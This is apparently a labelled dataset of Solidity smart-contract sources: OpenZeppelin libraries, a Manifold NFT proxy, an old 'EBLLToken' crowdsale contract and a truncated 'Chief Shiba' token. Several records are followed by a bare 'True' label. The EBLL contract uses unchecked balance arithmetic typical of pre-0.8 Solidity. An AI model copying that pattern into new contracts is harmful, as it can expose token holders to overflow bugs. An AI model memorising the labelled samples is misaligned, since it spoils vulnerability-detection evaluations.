{transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }

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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Honey-Badger2022 /// @author: manifold.xyz import "./ERC721Creator.sol"; /////////////////////////////////////////////////////////////////////////////////// // // // // // The blue man in the blue hat with the blue jeans was nicked named blue. // // // // Pencil crayons don’t taste too good. // // // // Percy pig is a legend. // // // // 8916891689168916 // // // // SKWK LBOF SKWK PPP // // // // Big Kev always straight lines the final. // // // // // /////////////////////////////////////////////////////////////////////////////////// contract HB2022 is ERC721Creator { constructor() ERC721Creator("Honey-Badger2022", "HB2022") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }

True

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pragma solidity ^0.4.24; contract IMigrationContract { function migrate(address addr, uint256 nas) returns (bool success); } /* coin*/ contract SafeMath { function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* ERC 20 token */ contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract EBLLToken is StandardToken, SafeMath { // metadata string public constant name = "易宝链"; string public constant symbol = "EBL"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 5963; // 5963 EBL 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function EBLLToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(1600000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token（或者更新token） function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到EBLToken团队 function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将EBL token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }

True

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/** *Submitted for verification at Etherscan.io on 2021-05-27 */ /* Chief Shiba https://t.me/chiefshiba */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 